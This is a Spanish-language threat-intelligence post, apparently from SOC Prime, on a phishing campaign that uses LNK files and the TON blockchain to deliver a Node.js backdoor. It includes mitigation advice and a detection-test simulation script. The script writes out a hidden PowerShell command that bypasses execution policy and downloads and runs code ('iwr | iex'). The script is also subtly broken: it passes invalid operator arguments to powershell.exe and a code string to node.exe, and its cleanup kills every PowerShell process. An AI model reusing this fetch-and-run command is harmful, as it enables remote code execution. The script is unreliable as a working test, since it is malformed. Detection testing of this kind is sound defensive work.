SOC Prime Bias: Alto

14 Jul 2026 15:26 UTC

Ataque LNK en Múltiples Etapas Utiliza Blockchain TON para Entregar un Backdoor en Node.js

Author Photo
SOC Prime Team linkedin icon Seguir
Ataque LNK en Múltiples Etapas Utiliza Blockchain TON para Entregar un Backdoor en Node.js
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Un sofisticado ataque de múltiples etapas utiliza archivos LNK maliciosos entregados a través de phishing para desplegar un backdoor basado en Node.js. El malware se basa en la técnica EtherHiding al consultar la blockchain TON para obtener sus direcciones de comando y control, facilitando las actualizaciones de infraestructura para los operadores. También utiliza métodos avanzados de evasión, incluyendo un intérprete de máquina virtual de bytecode personalizado y scripts PowerShell fuertemente ofuscados.

Investigación

El equipo de Investigación de Amenazas Gestionadas de LevelBlue descubrió la campaña a través de alertas de seguridad vinculadas a archivos ZIP y archivos LNK sospechosos. Los analistas deofuscaron comandos de PowerShell que usaban lógica bitwise y aritmética para reconstruir URL maliciosas. También examinaron un intérprete de máquina virtual JavaScript personalizado utilizado para ejecutar bytecode cifrado y rastrearon la recuperación de comando y control a transacciones en la blockchain TON.

Mitigación

Las organizaciones deberían restringir la ejecución de archivos LNK de fuentes no confiables y monitorizar el comportamiento sospechoso de PowerShell, especialmente comandos que involucren lógica bitwise o cálculos de enteros grandes. Debería usarse un fuerte filtrado de correos electrónicos para bloquear enlaces maliciosos, y los defensores deberían observar instalaciones o ejecuciones no autorizadas de Node.js. Restringir el acceso a APIs relacionadas con el blockchain para procesos inusuales también podría interrumpir la recuperación de comando y control.

Respuesta

Si se detecta esta actividad, aisle los endpoints afectados y termine los procesos sospechosos node.exe o procesos de PowerShell inmediatamente. Realice forense de memoria para recuperar el bytecode de JavaScript descifrado e identifique los dominios de comando y control específicos que están siendo consultados. Revise las claves Run del registro para detectar persistencia no autorizada y escanee las exclusiones de Windows Defender creadas por el malware.

Flujo de Ataque

Ejecución de Simulación

Prerrequisito: La comprobación preliminar de Telemetría y Línea de Base debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y tener como objetivo generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un diagnóstico erróneo.

  • Narrativa del Ataque y Comandos: El adversario busca establecer un backdoor en el sistema. Para evadir la detección, utilizan un archivo LNK que ejecuta un comando de PowerShell. En lugar de una URL clara, usan -band 255 and -shr 8 para manipular grandes valores enteros que, cuando se procesan, reconstruyen una URL que apunta a una carga maliciosa. Una vez que la carga útil se recupera o prepara, el proceso de PowerShell genera node.exe para ejecutar el backdoor basado en JavaScript, mezclándose con la actividad legítima del desarrollador en la máquina.

  • Script de Prueba de Regresión:

    # Simulación de la cadena de ejecución PowerShell ofuscada -> Node.js
    # Este script imita los argumentos de línea de comandos específicos requeridos por la regla de detección.
    
    $jsPayload = "console.log('Conexión C2 Establecida');"
    
    # Paso 1: Simular la etapa de ofuscación de PowerShell (como aparecería en la línea de comandos del proceso)
    # En un ataque real, este sería el comando activado por el archivo LNK.
    $simulatedPSCommand = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -band 255 -shr 8 -Command `"`$url = [Convert]::ToString([bigint]123456789); iwr `$url | iex`""
    
    # Paso 2: Simular la ejecución subsiguiente de Node.js como parte de la misma cadena
    # Usamos Start-Process para simular la relación padre-hijo
    Start-Process "powershell.exe" -ArgumentList "-NoProfile -Command `"$simulatedPSCommand; node.exe $jsPayload`""
  • Comandos de Limpieza:

    # No se crearon archivos persistentes con esta simulación, 
    # pero nos aseguramos de que cualquier proceso de nodo generado sea terminado.
    Stop-Process -Name "node" -ErrorAction SilentlyContinue
    Stop-Process -Name "powershell" -ErrorAction SilentlyContinue